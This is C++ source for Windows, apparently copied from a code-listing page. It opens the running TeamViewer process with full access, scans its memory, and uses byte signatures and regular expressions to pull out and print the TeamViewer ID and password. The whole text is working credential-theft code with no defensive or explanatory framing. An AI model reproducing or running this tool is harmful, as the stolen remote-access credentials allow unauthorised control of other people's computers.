1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| #include<stdio.h> #include<Windows.h> #include <dbghelp.h> #pragma comment(lib,"dbghelp.lib") #include <shlwapi.h> #include "tlhelp32.h" #include <psapi.h> #include <regex>
#if _WIN64 _int64 EndAddress = 0x0007FFFFFFFF0000; #else int EndAddress = 0X7FFF0000; #endif using namespace std;
typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation, MemoryWorkingSetList, MemorySectionName, MemoryBasicVlmInformation } MEMORY_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* fnZwQueryVirtualMemory) ( HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength );
int GetPidByName(PCWCHAR procName) { HANDLE ProcessId = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (ProcessId == NULL) { printf("Fail"); } PROCESSENTRY32 te32 = { 0 }; te32.dwSize = sizeof(te32); int number = 0; if (Process32First(ProcessId, &te32)) { do { if (!lstrcmp(te32.szExeFile, procName)) { return te32.th32ProcessID; } } while (Process32Next(ProcessId, &te32)); } }
int main() { MEMORY_BASIC_INFORMATION mbi = { 0 }; fnZwQueryVirtualMemory ZwQueryVirtualMemory = (fnZwQueryVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryVirtualMemory"); if (ZwQueryVirtualMemory == NULL) { if (ZwQueryVirtualMemory == NULL) { printf("没有找到ZwQueryVirtualMemory函数"); system("pause"); return 0; } } DWORD cbNeeded; HMODULE pModuleIds[1024]; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"TeamViewer.exe")); EnumProcessModules(hProcess, pModuleIds, sizeof(pModuleIds), &cbNeeded); int StartAddress = (int)pModuleIds[0]; printf("[+]PEBaseAddress: %p\n", StartAddress);
do { ZwQueryVirtualMemory(hProcess, (LPVOID)StartAddress, MemoryBasicInformation, &mbi, sizeof(mbi), NULL); if (mbi.RegionSize == 0x1FF000) { int id_temp = 0; char password_temp = 0; printf("[+]BaseAddress: %p\n", mbi.BaseAddress); for (int i = 0; i < 0x1FF000; i++) { char id[0x17]; char id_char[0xA] = {0}; char password[0x15]; char password_char[0x9] = {0}; ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i), password, 0x15, NULL); ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i), id, 0x17, NULL); for (int x = 0; x <= 0x8; x++) { password_char[x] = password[ x * 2 + 2 ]; } password_char[8] = '\x00'; if (password[1] == 0xffffff88 && password[17] == 0 && password[18] == 0 && regex_match(password_char, regex("[0-9a-z]{8}"))) { printf("[+]password: %s\n", password_char); password_temp = 1; } for (int x = 0; x <= 0x9; x++) { id_char[x] = password[x * 2 + 2]; } id_char[9] = '\x00'; if (id_temp == 0 && id[1] == 0xffffff80 && id[19] == 0 && id[20] == 0 && regex_match(id_char, regex("[0-9]{9}"))) { printf("[+]id: %s\n", id_char); id_temp = 1; } if (id_temp == 1 && password_temp == 1) { break; } } break; } StartAddress += mbi.RegionSize; } while (StartAddress <= EndAddress); }
|